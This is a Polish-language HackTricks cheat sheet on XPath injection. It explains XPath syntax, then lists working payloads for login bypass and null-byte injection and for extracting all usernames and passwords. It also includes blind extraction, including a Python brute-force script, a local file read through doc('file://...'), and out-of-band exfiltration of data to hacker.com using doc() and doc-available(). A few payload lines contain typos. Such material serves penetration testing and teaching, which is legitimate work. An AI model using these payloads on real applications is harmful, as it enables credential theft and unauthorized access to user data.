XPATH injection

Wsparcie dla HackTricks

Dołącz do HackenProof Discord serwera, aby komunikować się z doświadczonymi hackerami i łowcami bugów!

Wgląd w hacking Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem

Aktualności o hackingu w czasie rzeczywistym Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i wglądom

Najnowsze ogłoszenia Bądź informowany o najnowszych programach bug bounty oraz istotnych aktualizacjach platform

Dołącz do nas na Discordzie i zacznij współpracować z najlepszymi hackerami już dziś!

Podstawowa składnia

Technika ataku znana jako XPath Injection jest wykorzystywana do wykorzystania aplikacji, które tworzą zapytania XPath (XML Path Language) na podstawie danych wejściowych użytkownika, aby zapytać lub nawigować po dokumentach XML.

Opis węzłów

Wyrażenia są używane do wybierania różnych węzłów w dokumencie XML. Te wyrażenia i ich opisy są podsumowane poniżej:

  • nodename: Wybierane są wszystkie węzły o nazwie "nodename".

  • /: Wybór dokonywany jest z węzła głównego.

  • //: Wybierane są węzły pasujące do wyboru z bieżącego węzła, niezależnie od ich lokalizacji w dokumencie.

  • .: Wybierany jest bieżący węzeł.

  • ..: Wybierany jest rodzic bieżącego węzła.

  • @: Wybierane są atrybuty.

Przykłady XPath

Przykłady wyrażeń ścieżkowych i ich wyniki obejmują:

  • bookstore: Wybierane są wszystkie węzły o nazwie "bookstore".

  • /bookstore: Wybierany jest element główny bookstore. Zauważono, że absolutna ścieżka do elementu jest reprezentowana przez ścieżkę zaczynającą się od ukośnika (/).

  • bookstore/book: Wybierane są wszystkie elementy book, które są dziećmi bookstore.

  • //book: Wybierane są wszystkie elementy book w dokumencie, niezależnie od ich lokalizacji.

  • bookstore//book: Wybierane są wszystkie elementy book, które są potomkami elementu bookstore, niezależnie od ich pozycji pod elementem bookstore.

  • //@lang: Wybierane są wszystkie atrybuty o nazwie lang.

Wykorzystanie predykatów

Predykaty są używane do precyzowania wyborów:

  • /bookstore/book[1]: Wybierany jest pierwszy element book będący dzieckiem elementu bookstore. Obejście dla wersji IE od 5 do 9, które indeksują pierwszy węzeł jako [0], polega na ustawieniu SelectionLanguage na XPath za pomocą JavaScript.

  • /bookstore/book[last()]: Wybierany jest ostatni element book będący dzieckiem elementu bookstore.

  • /bookstore/book[last()-1]: Wybierany jest przedostatni element book będący dzieckiem elementu bookstore.

  • /bookstore/book[position()<3]: Wybierane są dwa pierwsze elementy book będące dziećmi elementu bookstore.

  • //title[@lang]: Wybierane są wszystkie elementy title z atrybutem lang.

  • //title[@lang='en']: Wybierane są wszystkie elementy title z wartością atrybutu "lang" równą "en".

  • /bookstore/book[price>35.00]: Wybierane są wszystkie elementy book w bookstore z ceną większą niż 35.00.

  • /bookstore/book[price>35.00]/title: Wybierane są wszystkie elementy title elementów book w bookstore z ceną większą niż 35.00.

Obsługa nieznanych węzłów

Znaki wieloznaczne są używane do dopasowywania nieznanych węzłów:

  • *: Pasuje do dowolnego węzła elementu.

  • @*: Pasuje do dowolnego węzła atrybutu.

  • node(): Pasuje do dowolnego węzła dowolnego rodzaju.

Dalsze przykłady obejmują:

  • /bookstore/*: Wybiera wszystkie węzły elementów dzieci elementu bookstore.

  • //*: Wybiera wszystkie elementy w dokumencie.

  • //title[@*]: Wybiera wszystkie elementy title z co najmniej jednym atrybutem dowolnego rodzaju.

Przykład

<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>

Uzyskaj dostęp do informacji

All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name

All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()


Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)

Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"

Identyfikacja i kradzież schematu

and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0

#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>

and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)

#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))

Ominięcie uwierzytelniania

Przykład zapytań:

string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';

OR obejście w użytkowniku i haśle (ta sama wartość w obu)

' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())

Select account
Select the account using the username and use one of the previous values in the password field

Wykorzystywanie wstrzyknięcia null

Username: ' or 1]%00

Podwójne OR w nazwie użytkownika lub haśle (jest ważne tylko z 1 podatnym polem)

WAŻNE: Zauważ, że "i" jest pierwszą operacją wykonaną.

Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())

Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())

Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())

Ekstrakcja ciągów

Wynik zawiera ciągi, a użytkownik może manipulować wartościami, aby wyszukiwać:

/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users

Blind Explotation

Uzyskaj długość wartości i wyodrębnij ją przez porównania:

' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"

substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)

... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value

Przykład Pythona

import requests, string

flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break

Odczytaj plik

(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127

OOB Wykorzystanie

doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))

#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to

Automatyczne narzędzie

Odniesienia

Dołącz do HackenProof Discord, aby komunikować się z doświadczonymi hackerami i łowcami bugów!

Wgląd w Hacking Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem

Aktualności Hackingowe w Czasie Rzeczywistym Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i wglądom

Najnowsze Ogłoszenia Bądź informowany o najnowszych programach bug bounty oraz istotnych aktualizacjach platform

Dołącz do nas na Discord i zacznij współpracować z najlepszymi hackerami już dziś!

Wsparcie HackTricks

Last updated